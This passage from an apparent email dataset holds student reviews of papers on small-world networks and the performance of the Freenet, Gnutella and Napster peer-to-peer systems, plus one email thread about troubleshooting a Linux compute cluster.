approximately to that of a random graph. The second paper presents detailed simulations results confirming this behavior in both Freenet and Gnutella. This essentially implies that unstructured P2P systems, which are what any decentralized P2P systems are, do have the ability to perform as well as more structured systems. There are a number of constraints that need to be taken into consideration during the design phase of a P2P system. System lifetime dictates the average lifespan of a node on the network as an end-user machine could go offline, crash, or simply become active anytime. Designers also have to work with a bottleneck link bandwidth which is the slowest hop between any two nodes on a P2P network. Since its a physical property of a network, it remains constant so long the same path is used. Freeloaders are another constraint that needs to be addressed. More specifically, there has to be policied defined regarding how to handle these nodes that are not sharing files or participating in the network by providing information to help routing. Finally, much consideration also has to be given to the trustworthiness of the information a node provides about itself to other users. Should this be determined by the system? Bandwidth information or type of connection, for example, can easily be falsely provided by a node. ",0,0 Mark Robson ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 01:17:25 -0500",615 PAPER 63,"The measurement paper compares the true-P2p system Gnutella and the more centralized Napster. Unfortunately, the paper does little comparison of the two protocols themselves and instead focuses on comparing characteristics of the user populations of both systems. This does allow them to draw some interesting conclusions, however. The primary contribution is to suggest that since hosts on the Internet differ greatly (by many orders of magnitude) in bandwidth, latency, processing power, etc. future P2P networks should be designed to make optimal use of this. (and in fact KaZaa and Grokster do this) They also observe that hosts tend to lie about their statistics, and therefore there needs to be incentives for hosts to be truthful or measurements (bandwidth, latency) need to be actively taken. Kleinberg's small world paper presents background on the small world conjecture and discusses Milgram's original experiment. Milgram's original work claims that the diameter of social networks is small (< 6) and furthermore that a path from any individual to another can be recovered using only ""local"" knowledge of each person. This translates to many other networks and the hope is that we can design these overlay networks to behave like small worlds and thus allow for bounded (and small) routing times. Kleinberg discusses how to design and grow networks so that this small world property emerges. This paper seems to suggest that an unstructured network (if it behaves like a small world) is similar to a structured one and, in theory, might perform just as well. The P2P Performance chapter from O'Reilly quickly dismisses any system that is in any way centralized and gives a comparison of the ""true P2P"" systems Gnutella and Freenet. They too discuss the small world property and its application to these systems. Freenet has the small world property as one of its design goals and this chapter discusses it at length. The Gnutella discussion suggests that the network can be quickly flooded and unreliable. Furthermore, Gnutella can't really play the small world card to help its case. This paper also discusses ""free-riding"" (removing resources from the network without donating any in return) and even goes so far as to call it a failure mode. Clearly something needs to be done to incentivize nodes to share. Design constraints that exist in P2P networks are as follows: (1) There is a limited amount of network power underneath the overlay network. Bandwidth, latency, etc. need to be used efficiently. (2) A certain percentage of hosts are unwilling or at least reluctant to share resources with the rest of the network. A scheme needs to be designed to provide the necessary incentive. (3) Some nodes have much more bandwidth, lower latency, more compute cycles, etc. than others. This heterogenity needs to be exploited by having some nodes do more work, maintain more connections, etc. This can further be supported by the incentive scheme of #2",0,0 Warren Lapine ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 02:24:05 -0500",615 Paper 63,"Kleinberg's paper shows us that it is possible to route efficiently in a decentralized system even without a strict structural underpinning. Kleinberg's model shows that it is possible to route a message towards a destination in a grid network with only order log n^2 hops if one has the following information: * A set local contacts within some distance and a set of some long range contacts chosen at random (with probability proportional to the inverse square of their distance from the source) * A correspondance of message to a location within the network and the location of all contacts. The importance of inverse square above is intuitive when one considers that the number of possible contacts should grow squarely with increasing distance. Given this information, Kleinberg's paper shows that the simple algorithm of forwarding the message to the contact closest to the destination should achieve an expected routing time proportional to the log of the number of nodes in the network. It is unlikely that a P2P system will have the same concept of locality as Kleinberg's grid. What is important to take away from the paper is that a small world property will only emerge in a system in which nodes maintain in addition to their local knowledge, a small set of long range links, and more importantly, that the frequency of these long range contacts must correlate closely to some notion of their density (i.e., in the grid model, the probability of adding a node at a certain distance was proportional to the number of nodes within that distance.) Hence, if we have an unstructured P2P network (like Gnutella or Freenet), we can only expect it to route effectively if it has the above mixture of local and long range links. But if it does, we can perhaps achieve route lengths logarithmic in the size of the network, as good as Pastry or Chord! Note, however, that neither of the above two systems should be expected to exhibit such a property, as even if their link structure follows the small world relation, they lack a correlation between the ""location"" of a query and the ""location"" of a node. It is difficult to see how one would even define such concepts in Gnutella. In Freenet, of course, keyspace specialization should eventually approach this property. The second paper for today, by Theodore Hong, emphasizes this point. Short paths do exist in Freenet between randomly selected pairs of nodes, and the Freenet graph is certainly connected (or close enough that it doesn't matter in any interesting way). Their simulation of Freenet does exhibit very short path lengths (6 Freenet hops) albeit under a lot of communication. If, however, we take away the behavior that Freenet always routes towards nodes who are closest to the destination in the keyspace, the median path length remains at 50 Freenet hops. In effect, this removes Kleinberg's second requirement above. The third paper for today tackles a very different subject: What is the real behavior of nodes in File Sharing systems? Such information is important as it tells us what kind of expectations we may place on a P2P system design (i.e. how stable do we expect the network to be in terms of node uptime): * Bandwidth measurements are fairly encouraging: More than half of file sharing users seem to have bandwidth measurements greater than 64 kbps. * Uptime is harder to measure as quality of service seems to be important to system life time measurements. Napster gave an arguably better experience than Gnutella even though their end-user modes of operation were much the same (time in a search, get a file). But whereas the best 20% of Napster nodes have an uptime of 83% or more, the best 20% of Gnutella have an uptime of only 45% or more. * Free riders are definitely a problem: As many as 25% of Gnutella users are free riding. Like the American economy, Gnutella is skewed, with 7% of its users offering more files than all of the other users combined. ",0,0 steven james ,gilfoyle ,"Mon, 11 Nov 2002 19:49:38 -0500",Re: the Richmond saga continues,"Greetings, It looks like I will need to make a few additional adjustments. To be fully effective, I need the whole cluster booted up if possible. That way, I can look for any oddities or excettions and make it just work. G'day, sjames On Mon, 11 Nov 2002, gilfoyle wrote: > Hi Steven, > > The saga continues. After you made your changes last Friday I was > able to run root on the slaves 0-2. I could execute it from the master > using the following command. > > bpsh 0 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > I was also able to run my scripts for just those two nodes. On Sunday, > I rebooted the remaining nodes (3-48), removed the /home area and put > in a link home->/usr/home. I then started to run ten jobs which would > run on nodes 0-9. The master hung: wouldn't budge. I rebooted the > master and brought up slaves 0-5 and tried again and got the same > results. After rebooting the master and slaves 0-5 this is what I have > noticed. > > 1. I ran my scripts without running root and they appeared to work! > > 2. There are two sub-directories on slave 0, /include and /cint that > are not visible on any of the other slaves. These two subdirectories > are needed by root. This would seem to be a smoking gun for the > problem except for one thing. Slave 1 seemed to run root successfully > even though those areas are not visible to it. > > 3. I can run root on slaves 3-5 from the master using the bpsh > command. The master only gets hung when I am running my script. I am > using perl for these scripts and I have attached them to this message. > Perhaps there is some library that perl needs?? > > 4. The problem seems to be with the nodes that I rebooted on Sunday > and not the ones you worked on last Friday. Did I reboot them > incorrectly? I checked some of the permissions of directories on the > slaves and they all appear to be the same. > > I have rebooted the master and nodes 0-5. I am at JLab this week so I > can only work on this sporadically, but I will try to get as much > done as I can. > > Let me know what you think. > > Jerry > > p.s. description of perl scripts: > > submit_eod3c.pl - main script, does some housekeeping and generates the > input file for the batch command. > > run_root_on_node2.pl - copies files over to the slave, runs root, and > cleans up. > > > > > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 nbs24@cornell.edu,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 08:35:07 -0500",615 PAPER 63,"The small-world phenomenon: An algorithmic perspective This paper examines decentralized algorithms by which nodes, knowing only the locations of their direct acquaintances, attempt to transmit a message from a source to a destination along a short path. The authors prove that in a class of networks generate according to the Watts-Strogatz model, there is no decentralized algorithm capable of constructing paths of small, expected length. They define an infinite family of random network models that generalizes the Watts-Strogatz model and demonstrate that there is a decentralized algorithm that is able to find short paths with high probability. They also prove that there is a unique model within this family for which decentralized algorithms are effective. The proofs demonstrate that the small-world phenomenon makes it possible for unstructured P2P systems to perform, at least, as well as more structured ones if the system has a uniform distribution of links. P2P and the small world phenomena This chapter focuses on decentralized peer-to-peer systems and applies some of the concepts of the small- world model to Freenet and Gnutella. Freenet: Queries are forwarded one peer to the next, till any peer owning a copy of a file can reply. In order to make Freenet a small world, the Freenet graph needs to be connected and short routes must exist between any two arbitrary peers; both properties are shown satisfied. It translates into good average performance and poor worst-case performance, good scalability and fault tolerance. Gnutella: Queries are conducted via broadcast � this does not invoke the small world effect. In order to increase Gnutella�s effieciency, a partly hierarchical model using super peers is proposed to reduce the effective size of the network. The effort required to do a search in an unstructured system grows logarithmically with respect to the search space. A Measurement Study of Peer-to-Peer File Sharing Systems The authors propose that the characteristics (bandwidth, latency, etc) of participating nodes in a P2P system need to be considered in system evaluations. These characteristics include bandwidth, latency, availability, degree of sharing, among others, at each node. They perform measurements on Napster and Gnutella and find that peers in these systems are significantly heterogeneous and peers don�t always tell the truth. They find that a significant proportion of peers are just �free-riders�. The authors suggest an attempt be made to directly measure the characteristics of peers to build more robust systems. The design constraints involve identifying the �free- riders� and giving them less priority. Also generous participants with low bandwidths need to be identified somehow (because they might not admit they have problems) in order not to overload them and subsequently slow down the whole network. Nana B. Sam ",0,0 Kevin Walsh ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 10:31:59 -0500",615 PAPER 63,"Can unstructured P2P systems perform as well as, or better than, more structured P2P networks ? What are the design constraints of P2P systems (e.g. typical system lifetimes, bandwidths, etc.) ? Please submit a combined review under paper number (63). The small-world phenomenon: An algorithmic perspective Performance: P2P and the small world phenomena. A measurement study of peer-to-peer file sharing systems. The first of the three papers deals with a semi-structured network. The two essential features of the network are a high-diameter dense and structured lattice-type network, overlaid with random sparse long-range links. In this particular proposal, each node has small and equal degree. Using a reasonable definition of decentralized search algorithms, the paper examines the upper and lower bounds on path lengths that might be found by any search algorithm. It is found that if the long-range links are distributed uniformly at random (a common assumption), then the average path length is THETA(n^2/3), or exponential in the size of the network. However, we may choose instead a long-range link distribution according to d^-r where d is the distance between nodes, and r is a clustering coefficient (high r gives very clustered long-range links, low r gives very distant long-range links). In this case, it is found that for the optimal choice r = 2, the inverse square distribution, search can be efficiently performed in O((log n)^2) steps. The conclusion is it is possible to perform efficient decentralized search in composite structured/unstructured networks if one chooses the long-range links according to the right distribution. Compared to fully-structured networks, this has less efficient routing (compare to O(log n) for Chord/CAN/Pastry/etc), but has the advantage of very easy network construction. Each node maintains only a very small number of long range links, and these are randomized according to a easy-to-maintain distribution. There are some missing features of this type of structured/unstructured network, however. First, we know from the other papers that Gnutella-like networks tend to follow power-law degree distributions. A better search should be possible in such a network by preferentially moving towards nodes of high degree. The second paper, Performance, starts with a cute but perhaps meaningless anecdotal review of the small-world phenomena. A review of the well-known Watts and Strogatz paper on small world networks. The two interesting points here are that very few random long-range links are needed to turn a high-diameter network into a low-diameter network, and that the transition between these two situations is not noticeable at the local level. As was pointed out by Kleinberg, however, having a small world is not sufficient: we must be able to efficiently find routes in the small world, also. And here, again, the issue of degree distributions is ignored. Via simulation, the paper shows that Freenet can rewire a regular lattice into a small-world type network. The simulation also indicates that Freenet can find reasonably close-to-optimal paths in the network (median of 6 versus optimal 2 hops), but the distribution seems heavy-tailed, with some paths as long as 100 hops. The other interesting discussion in this paper is the distribution of degrees in Freenet. They find via simulation that the distribution looks maybe like it might be a power law distribution. The authors claim that Gnutella, on the other hand, does not have a power-law degree distribution, and is essentially a random network (low clustering coefficient). In Freenet, the only process to maintain clustering seems to be the specialization of nodes argument. It is not clear if this does a good job or not. Finally, the last paper presents interesting measurements of the nodes that participate in peer-to-peer networks. The authors were able to crawl between 8,000 and 10,000 Gnutella peers depending on the time of day, with a high turnover rate. It is surprising that so many stayed connected all night. Both Gnutella and Napster have a high percentage of low bandwidth nodes (especially upstream bandwidth). Gnutella users are less likely to be on a modem, perhaps an indication of Gnutella's overhead. Many peers are connected by very high latency links, bad news for poor neighbor selection strategies. Gnutella servers tended to be less available, even though the machines were reachable with normal TCP/IP. Overall, in both systems users appear to connect, remain on line for a short time, then disconnect. ",0,0 Janet Suzie Yoon ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 10:47:34 -0500",615 PAPER 63,"“The Small-World Phenomenon: An Algorithmic Perpective” In his paper, Kleinburg defines a generalization of the Watts-Strogate model (a model that encompasses the small world phenomenon. Start with a set of lattice points in an nxn square. Add a directed edge from a node u - to every other node within lattice distance k (short-range contacts) and - to q other nodes v with a probability proportional to 1/(x^r) where x is the lattice distance from u to v (long-range contacts). When r = 0, then the long range contacts are uniformly distributed as in the Watt-Strogate model. As the value of r increases, the long-range contacts become more clustered around node u and thus more structurally organized and less useful. It is proven there is exactly one class within this infinite family of models that displays property (2) - when r=2 and k=q=1. For this class of models, the expected length of a path returned by a decentralized algorithm is at most c2(log n)2 where c2 is a constant dependent on the values of r, k, and q but independent of n. Let Aj be the set of nodes whose lattice distance from node t is between 2j and 2j+1. The exponent r=2 is the only exponent at which all nodes other than node t are uniformly distributed over the sets A0, A1, …., Alog n. Suppose we want to construct a path from node s to node t. Let the current message holder be denoted as node u. An algorithm is in phase j if node u is in set Aj. The time it takes to break out of any given phase is bounded proportionally to log(n). There are at most 1 + log(n) phases, hence the (log n)^2 bound. “P2P and the Small World Phenomenon” This paper does a case study on Freenet and Gnutella. The small-world effect is fundamental in Freenet’s scalability, fault-tolerance, and performance. The majority of nodes in a small network model have only a few local connections to other nodes and only a few nodes are well connected with large-range contacts. Freenet’s scalability and performance is attributed to the shortcuts provides by these few well-connected nodes. One characteristic of a small-world network is the existence of a scale-free power-law distribution of links within the network. This power-law distribution is the reason for Freenet’s high level of fault-tolerance. Random failure will most likely take out a poorly-connected node since they are the majority of nodes in the network. The effect of failure for a poorly-connected node is minimal in the overall network routing. The performance of routing is noticeably affected only with the failure of highly-connected nodes. Freenet handles free-loaders by ignoring them. Gnutella does not depend on the small-word effect and instead broadcasts its queries. Due to this characteristic, Gnutella is not very scalable. In face of attacks, Gnutella performs worse than Freenet under random attacks but removing the most-connected nodes in Gnutella is not as severe as in Freenet. This is due to the fact that the nodes in Gnutella are considered roughly equivalent. Gnutella is vulnerable to free-riding due to its lack of state about its peers. Free-riding results in higher latency or even worse failed queries. “A Measurement Study of Peer-to-Peer Systems” A measurement study is performed on Napster and Gnutella in the paper titled where the focus is on characterizing the end-user host in this system based on their latency, lifetime, bottleneck and bandwidth. The above analysis is based on several crawls of both systems and snapshots of the users over a span of several days. Most of the current protocols of P2P systems uniformly delegate responsibility to all nodes within the system. It has been observed that roughly one third of the peers in Gnutella are unsuitable to act as servers due to their bandwidth capabilities. High latency is a problem in Gnutella since connections are formed in an unstructured manner, despite the face that latency amoung communicating peers vary. Protocols also tend to assume the cooperativeness of the peers and assume peers behave equally in terms of downloads and uploads. A discrepancy in the upstream and downstream bandwidth of Gnutella exists. The download capacity of the system is higher than its upload capacity. Napster has a better download capacity than that of Gnutella. Overall the majority of both systems are uncooperative and free-riding is a major issue. The characteristics of both systems represent that of a client-server model. In general, unstructured P2P systems do not behave as well as structured P2P systems. As proven in Klienburg’s paper, some structure is needed for more informed and thus more efficient routing. Freenet, though also an unstructured system, is somewhat more ‘organized’ than that of Gnutella since it is depended on its topology being that of a small world. Its less unstructured topology results in better scalability and performance. Design constraints are mentioned under “A Measurement Study of Peer-to-Peer System”. ",0,0 vrg3@cornell.edu,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 11:23:22 -0500",615 PAPER 63,"The Kleinberg paper presents an explanation of the small world phenomenon, by which decentralized clustered networks (like those of personal human relationships) can contain short paths between nodes due to the presence of the appropriate quantities of long-distance links. It seems to suggest that an unstructured peer-to-peer network can perform as well as a structured one if the appropriate distribution of short- and long-distance links is achieved. The book chapter does case studies on the performance of Freenet and Gnutella. Freenet relies on its network having the small world property; there exists a small set of highly connected nodes, allowing for short routes between arbitrary pairs of peers. Gnutella networks do not exploit any kind of small world effect, since queries are broadcast. This hurts scalability and bandwidth usage. A suggestion is made to improve Gnutella by imposing some hierarchical structure to improve the average path length. The Saroiu paper compares Napster (a structured peer-to-peer network) and Gnutella (an unstructured peer-to-peer network) in terms of the characteristics of the individual nodes. The first big result of the study is that there is significant heterogeneity among peers in both networks, suggesting that a peer-to-peer system should make use of information about the differences between nodes (in terms of latencies, bandwidths, uptimes, and activity) to work more efficiently. This would be of particular importance in Freenet where the small set of highly connected nodes which serve to provide the short paths would ideally all have high-bandwidth network connections. The second big result is that there is a remarkable amount of selfishness present among the peers of both networks. Many users do not bother to accurately represent their advertised bandwidths, and very, very few users actually provide content for others to download, or stay online long enough to make it useful. The majority of users simply connect, download some files, and then disconnect. It would seem that it is possible for a decentralized network to perform as well as a structured one, but there are many conditions that would have to hold. The small-world property is necessary, and as Freenet has shown, it is possible to achieve. Peers would need to be able to measure the properties of other peers, without having to rely on voluntarily advertised information. Some type of scheme for ensuring that all nodes contribute to the global network would vastly improve performance. ",0,0 mike polyakov ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 11:37:19 -0500",615 PAPER 63,"The papers presented today evaluate unstructured (p2p) networks from both a theoretical and experimental points of view. The Kleinberg explores the expected searchability of a family of networks such as those formed by people within the US. Most importantly he identifies a second parameter of a network, besides network diameter, that controls the distribution of links from a node wrt distance. At a critical threshold, where the ratio of long range links to local ones is just right, the network acquires the small-world property such that any two points can be connected by very few hops. When that parameter varies from its threshold of 2, there are either too many long links (so can't see what's around you) or not enough of them to make good progress. This provides a theoretical basis and explanation for any good performance of unstructured p2p networks. The chapter from the O'Reilly deals with gnutella and freenet and performs simulation to explore their similarity to a small-world model that Kleinberg described. They find that freenet does indeed form a small-world graph, where it remains highly clustered but its path length drops to log N. Further, they find that it scales at log N of network size, so that at 200,000 nodes the median path length is about 20. It is not terribly impressive, since 200K isn't that many and 20 hops (and often worse) can take considerable time. A somewhat surprising find is that the ratio of request pathlength to characteristic pathlength, that is routing performance, remains similar regardless of scale. Of gnutella, the O'Reilly chapter has a different story. Its graph is random (and thus with low clustering coefficient), and so the characteristic pathlength is short. Since queries are done breadth first, the short paths are fully exploited. Thus, the performance of searches can scale well arbitrarily high, but unfortunately the bandwidth consumed by the queries becomes hard limitation. Finally, the Saroiu et al paper makes observations about usage in the actual gnutella (and napster) networks. They find orders of magnitude difference between users in terms of bandwidth, amount shared, reliability, etc. and recommend that network protocols regulate and take advantage of these differences. Surprisingly, they find that gnutella DOES form a small-world, such that taking only 4% of the nodes out leaves it far less connected. So, how do these unstructured p2p networks compare with structured ones? Kleinberg shows that these networks can organize such that pathlengths exist that are as short as those in structured nets, and with appropriate routing, good performance can be achieved. The experiments show that freenet and gnutella possess the routing capability to take advantage of the short paths formed in the graph. However, they are far more brittle, than structured networks. In freenet, finding short paths depends on good decisions, which are occasionally lacking, destroying performance. Also, like in gnutella, while short paths are likely, they are not at all certain. In other words, there are no guarantees. Since both systems depend on having a small set of well connected nodes, they are also more susceptible to attacks and non-random failures. P2P systems have to deal with many constraints. Users may come onto the networks only for brief times (and rarely for long) creating a dynamic environment, where few paths remain stable; so information has to be updated constantly. A considerable portion of the users are free riders, causing contributing users to experience poor performance and possibly leading to a spiraling effect where the contributors leave, further degenerating system state. There is a great disparity between users in all respects bandwidth, reliability, amount shared, etc, that should be taken into account to increase performance. Finally, there are legal and reliability issues creating pressure for maximum decentralization. ",0,0 hs247@cornell.edu,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 11:35:52 -0500",615 Paper 63,"The Small-World Phenomenon (applied to networks) was introduced in the first paper. The main contributions of this paper was to identify what the small-world phenomenon is and classify how some networks can fit into this category. It identifies that networks with nodes that have long range contact have a high probability of having a path that can be bounded by log n (ie. 6 degrees of separation). However, in peer-to- peer networks, we want these paths to be found with only local information. They prove that if long range contacts are randomly distributed, these paths are virtually impossible to find, however, if these contacts are not random, nodes will be able to find them only with local information (ie. with a decentralised algorithm). So in general, unstructured P2P systems that fit the �small-world Phenomenon� can perform just as well as structured networks if not better. This was shown in the second paper when the performance of Freenet was analysed. Through simulation, if they just randomly picked a link, a file took up to 50 hops to be found, however, with Freenet with its local information, the average could be found with an average number of hops of 5 hops or fewer. Gnutella was also analysed. The model used for Gnutella simulation was random model (which is not supported by the last paper which state that connections to server like nodes are preferred), a non-small-world model. Because of the randomness in Gnutella, this paper states that Gnutella is less susceptible to attacks on highly connected nodes (again contradictory to the last paper). Tradeoffs in performance were identified in this paper. Randomness of Gnutella trades efficiency for better worst case scenarios, where as Freenet trades worse-case performance for scalability and search efficiency. In the last paper, the end-users of p2p systems (Napster and Gnutella) where analysed. Up to this point, no evaluation has taken into account user characteristics. The paper identified that these systems are indeed heterogeneous. Many users are free- loaders and misreport their connections. With regards to lifetime, most nodes are not up more than 60 minutes per session. The upshot of this paper is that future designs should take into account the different characteristics including many nodes having low bandwidth, high latency, minimal participation and misreported information. In particular, there should be incentive for users to co-operate. ",0,0 Adam Kravetz ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 12:00:35 -0500",615 Paper 63,"The Small-World Phenomenon: 6-degrees of separation, a common party game, and social theory applied to computer networks and connectivity. This paper gives us three theorems that predict expected delivery time, lower bound and upper bounds all based on the 6-degree ideas. Performance: This paper takes a look at Freenet and Gnutella as case studies. This paper points out that performance matters in P2P systems, Moore's law doesn't apply to bandwidth so waiting for faster modems and connections isn't going to be fruitful. Maximizing efficiency on a network is the best way to improve transport, scalability and other issues associated w/ P2P. In the case Study of Freenet it is found that pathlength scales logarithmically w/ the size of the network so in theory it scales well. Gnutella on the other hand scales not w/ path length but by the number of messages sent giving it a poor scalability due to the fact that as networks get bigger more and more messages are propogated per search. Gnutella scales linearly (bad) but a suggested hierarchical model could help. Measurement of P2P: This paper takes a look at Napster and Gnutella (structured centralized networks vs. unstructured decenteralized). They conclude from their studies that they would like to see un-shared responsibilities across a network. I think this suggestion is good, but should be used as a parameter of an adaptive system. Nodes are allowed to grow or fall in importance depending on resources available at any given time. They also make the important observation that people are willing to participate in a P2P system and this is not necessarily true. Generally people want to participate only if they feel it is to there advantage. Unstructured P2P systems can work, they however need highly adaptable, smarter and better constructed algorithms to control them. The design of an unstructured P2P needs to be topologically designed better. I think exploiting the small-world network discovery and trying to distributedly build topologies that use this information is important. Moving away from a metric where a ""hop"" is a link from node A to node B in a P2P system instead of the 10 router hops that it actually is, is a good first step. Using a set of close neighbors (topologically on the internet) may help keep network load down, and allow for greater scalability. This however falls pray to the problem that information clustering will happen (your local subset of nodes to ask has roughly similar data) and that a random outside link metric (which is what gives 6-degree type theories their successes) would need to be introduced. To obtain a good, scalable, reliable P2P network a good first idea would be to try and build extremely lightweight, highly adaptable link systems which attempted to have high path optimality. A second part of a P2P system should try to adapt by the availability of resources in the network, promoting links to higher status based on their ability to carry load (bandwidth or processing power or battery life). Finally a third part of a P2P system would focus on fault tolerance. This sort of hybrid, multi-pronged, layered approach to P2P systems would hopefully provide a more globally scalable system. ",0,0 Piyoosh Jalan ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 12:17:56 -0500",615 PAPER 63,"The small-world phenomenon: An algorithmic perspective P2P and the small world phenomena A Measurement Study of Peer-to-Peer File Sharing Systems This time we are asked to read the above three papers and give comments for the below two questions. Can unstructured P2P systems perform as well as, or better than, more structured P2P networks ? The Small-World Phenomenon paper by Kleinberg discusses the small world phenomenon. He presents it with an algorithmic approach and proves all the theorems proposed in the paper algorithmically. Small world phenomenon means that any two nodes in a network is likely to be connected through a short sequence of intermediate acquaintances. According to the survey by Prof. Milgram of Harvard it took a median of 5.5 intermediaries to connect two arbitrary nodes(people in this case). Kleinbergs paper states that a class of networks exhibit the small world phenomenon if the network is divided into both local and long range contacts and not just one extreme. The local contacts are the nodes nearest neighbors and long range contacts are formed with edges having uniform random end points. Thus to summarize this paper states that a random unstructured decentralized network which resembles an unstructured P2P system can find short paths if it has both local and long range contacts. The second paper which is a chapter from the Oreilly P2P book supports this fact by presenting detailed simulation results for Freenet and Gnutella. Freenet and Gnutella both being decentralized P2P systems (ie unstructured) portrays small world phenomenon among nodes. Thus unstructured P2P systems do have the ability to perform as well as more structured systems. What are the design constraints of P2P systems (e.g. typical system lifetimes, bandwidths, etc.) ? There are a number of design constraints of P2P systems that need to be considered. The important ones being - Bandwidth of hosts: This is the speed of the connection of the peer to the network. This information can either be asked when the user registers to the network ie the type of connection they are using (Cable, LAN, MODEM etc) or could be calculated. - System lifetimes of a host: The duration that peer choose to remain connected to the infrastructure has implication for the degree of redundancy necessary to keep data or index meta data highly available. Thus to delegate a task to a peer the system must know if its suitable to do so based on its availability, latency, bandwidth and other factors. A peer can be in three possible state during its entire lifetime ie offline, inactive and active. - Latency: Round trip latency between peers. The nodes acting as a server should have the characteristics of High-Bandwidth and low latency. Moreover to fit a high bandwidth server a node must have a high upstream bottleneck link bandwidth. - Availability: Servers apart from high bandwidth and low latency should also have high availability. This is important to decide upon the degree of replication necessary. - Free Riding: The system has to consider free riders who does not share any files themselves thus causing a bottleneck at nodes that share files. There could be an incentive to share files such as nodes that share files have preference to download files from a node with limited bandwidth and allowed number of users thus creating contention among nodes. Taking care of free riding also helps in load balancing. - Fault Tolerance: The ability of the system to perform under random failures of nodes and in the face of attacks. Some other design constraints that need to be considered are - Population of end user hosts that participate in the system - Degree of cooperation between hosts - Degree of sharing - Scalability: One of the design constraints that need to be addressed is scalability if the system is to be scaled to a global level. ",0,0 ag75@cornell.edu,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 12:29:31 -0500",615 PAPER 63,"The three papers that we read this week deal with performance of P2P systems. The first one examines the ""small-world phenomenon"" - the principle that we are all linked by short chains of acquaintances, and its effect on the design of P2P systems. In this paper the authors prove that no decentralized algorithm, operating with local information only, can construct short paths in the family of recently proposed network models that are rich in short paths with non-negligible probability. They then show that there is a unique model within the family for which decentralized algorithms are effective. This results in the conclusion that in addition to having short paths, a network should contain latent structural cues that can be used to guide a message towards a target, which means that minimizing the transmission rate of a network is not necessarily the same as minimizing its diameter. The second paper compares the performance of Freenet and Gnutella. The two systems are compared along the lines of performance, fault taulerance and scalability. While both Frenet and Gnutella are decentralized systems, Freenet relies on the ""small-world phenomenon"", while Gnutella doesn't. In terms of performance, Freenet has good average but bad worst case performance. Gnutella makes a tradeoff of a much greater search effort for optimal paths and better worst case performance. Since highly connected nodes are much less a factor in Gnutella than in Freenet, Gnutella is better at handling attacks but worse at handling failures. Freenet scales better than Gnutella, scaling logarithmically compared with linearly for Gnutella. The third paper compares the performance of Gnutella and Napster. This paper shows that bandwidth, latency, availability, and the degree of sharing vary between three and five orders of magnitude across the peers in both Gnutella and Napster. It also shows that peers tend to deliberately misreport information if there is an incentive to do so and that the download capacities of both systems exceed their upload capacities. Finally it points out the fact that Gnutella has a large portion of freeriders. This means that a large percentage of clients rely on a small percentage of servers, which in turn means that the system is highly vulnerable to targeted attacks. It seems that it should be possible to design an unstructured P2P system that performs as well as a structured one. However, when designing such a system several things must be kept in mind: the ""small-world phenomenon"" is your friend - use it; different peers have significant differences in their abilities and the system should take that into account; freeloaders are a problem because they not only take up system resources but can also make the system vulnerable to failures and attacks, thus there have to be strong incentives for people not to freeload. ",0,0 Xin Zhang ,Emin Gun Sirer ,"Tue, 12 Nov 2002 12:37:07 -0500",615 PAPER 63,"The small-world phenomenon itself says that people in the world are all linked by short chains of acquaintances. Imported to networks, it lays the basis structure for peer-to-peer system on network level and assures the connectivity of nodes in p2p system. The model of Watts and Strogatz, in fact, has already been used in Chord routing scheme, in which the structure parameter r (introduced in the paper as measuring of ""networked"", 0--uniform distribution over long-distance contacts, 2--uniform distribution over ""distance scales"" in a 2-D lattice) equals to 0. This paper shows that in the present models, the decentralized algorithm for constructing shortest paths is impossible. The decentralized algorithms are only effective in the model with r at its optimum value of 2, namely the long-distance contacts distribute uniformly over distance. The ""performance"" chapter focuses on the aspects of querying performance (in terms of time and bandwidth consumed), fault tolerance and scaling with case study on Freenet and Gnutella. For Freenet to work, two conditions must hold: connectivity and being a small-world, because the only difference between Freenet and Milgram's experiment on small world is that the target in Freenet can be one of many peers with desired file and if Freenet is a small world, the short paths will be assured. The Web is a small world with pathlength of 19 is shown in another paper. The authors use the similar simulation show that the Freenet can be also a small world network. Fault tolerance is also measured and it shows that nodes failing of less than 30% will not cause serious degrade in it. Also Freenet is effective in combat free riders by maintaining references in each node. Similar as small world model, Freenet scales logarithmically with the size of the network. Gnutella however, uses a simple broadcast model and doesn't invoke small-world effect. It offers faster search and better worst-case guarantees, but it is vulnerable to free-riders and scales linearly which is not as good as Freene t. The measurement study raised the issue of significant heterogeneity and lack of cooperation across peers in current peer-to-peer systems (Gnutella and Napster in this paper) by showing the percentage of host and that upstream and downstream bandwidth, the latencies, the number of shared, downloaded and uploaded files can be differ greatly among peers. So when designing future robust p2p protocols, special care should be taken to the assumption of homogeneous nodes and willingness to cooperate over all peers. ",0,0 Alan Shieh ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 12:51:11 -0500",615 PAPER 63,"Can unstructured P2P systems perform as well as, or better than, more structured P2P networks? An unstructured P2P system can perform as well as a structured one, as the network construction mechanism can be induced to form occasional long-range links such that the network diameter becomes small. However, even with the presence of such structure in the network topology, a local routing algorithm may not in general be able to find the short paths that these long-range links induce. Freenet's DFS mechanism, which performs the same behavior as the simple algorithm described in Jon's paper, plus backtracking, appears capable of finding such routes in the average case after the network has ""converged"". Hence, Freenet appears to somehow induce the necessary structure for efficient routing; however, it provides no guarantees about worst-case routing performance, and its topology is heavily dependent on query pattern and frequency. Structured P2P systems do not suffer from these shortcomings so long as the network has stabilized. However, maintaining the necessary invariants imposes organizational overhead when nodes join and die. What are the design constraints of P2P systems (e.g. typical system lifetimes, bandwidths, etc.)? The design constraints of P2P systems depend on the target application. For instance, Tapestry targets a utility infrastructure model, and hence a more uniform distribution of node capability that is biased towards more powerful nodes and reliable. Moreover, these nodes are assumed to be in both the center and ""edge"" of the Internet, for otherwise it would not make sense for them to have evaluated the performance of TCP on top of such a Tapestry routing fabric. However, the majority of P2P applications is targeted for end-users. These users, who are typically on the edge of 